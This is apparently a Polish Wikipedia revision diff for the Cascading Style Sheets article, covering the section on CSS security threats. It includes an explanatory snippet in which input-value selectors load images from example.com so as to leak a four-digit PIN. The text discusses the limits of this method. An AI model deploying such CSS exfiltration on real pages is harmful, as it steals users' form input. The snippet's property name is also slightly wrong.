Kaskadowe arkusze stylów: Różnice pomiędzy wersjami

[wersja nieprzejrzana][wersja przejrzana]
Usunięta treść Dodana treść
Znacznik: Edytor kodu źródłowego 2017
uściślenie i poprawki
Linia 113:
 
== Przykłady ==
Przykład definicji stylu dla pliku cssXML.
<syntaxhighlight lang="css">
Pracownik {
Linia 168:
 
== Zagrożenia ==
CSS dodawany przez użytkownika może stanowić zagrożenie. Jedną z możliwości jest wstawienie obrazka tła, który będzie nasłuchiwał ruchu na danej witrynie.
CSS może służyć do kradnięcia danych<ref>{{Cytuj |autor = By |tytuł = CSS Steals Your Web Data |data = 2018-02-25 |data dostępu = 2020-04-27 |opublikowany = Hackaday |url = https://hackaday.com/2018/02/25/css-steals-your-web-data/ |język = en-US}}</ref>.
 
Istnieje też możliwość stworzenia CSS, który będzie wykradał dane wpisane w polu formularza<ref name=":0">{{Cytuj |autor = Al Williams |tytuł = CSS Steals Your Web Data |data = 2018-02-25 |data dostępu = 2020-04-27 |opublikowany = Hackaday |url = https://hackaday.com/2018/02/25/css-steals-your-web-data/ |język = en-US}}</ref>. Metoda jest możliwa dzięki użyciu specyficznych selektorów oraz obrazkom w tle. Istnieje również wariacja wykorzystująca regułę ''font-face''<ref name=":1">{{Cytuj |tytuł = CSS Keylogger (and why you shouldn’t worry about it) |data dostępu = 2020-05-14 |opublikowany = Bram.us |url = https://www.bram.us/2018/02/21/css-keylogger-and-why-you-shouldnt-worry-about-it/ |język = en-US}}</ref>.
 
Przykład kradzieży czterocyfrowego pinu:
<syntaxhighlight lang="css">
input[type="pin"][value$="0000"] { background-color: url(http://example.com/0000.png) }
input[type="pin"][value$="0001"] { background-color: url(http://example.com/0001.png) }
/* ... */
input[type="pin"][value$="9999"] { background-color: url(http://example.com/9999.png) }
</syntaxhighlight>
</syntaxhighlight>Taki kod jest bardzo nieefektywny, ponieważ długo się wczytuje do [[RAM]]<nowiki/>u, i trochę waży, a po za tym jest to znane.
 
Metoda jest jednak niepraktyczna do wykradania haseł, a nawet dłuższych ciągów cyfr<ref name=":1" />. Jednym z problemów jest szybkie rośnięcie liczby kombinacji selektorów i reguł CSS jakie należy obsłużyć. Nawet przy hasłach o długości do 5 znaków z 24-znakowym alfabetem to jest ponad 7 milionów [[Wariacja z powtórzeniami|wariacji]]. Czyli taki CSS zająłby ponad 500 [[Megabajt|MiB]] (licząc średnio 70 znaków na regułę). Pozostaje do tego problem wykradzenia również loginu.
 
Wśród społeczności programistów pojawiło się co prawda określenie „CSS [[keylogger]]”, jednak reguły CSS nie są przetwarzane pod wpływem naciśnięcia klawiszy. Reguły są przetwarzane dopiero po zmianie wartości atrybutu ''value'', co domyślnie nie jest jednoznaczne z naciśnięciem klawisza<ref name=":0" /><ref name=":1" />.
 
== Zobacz też ==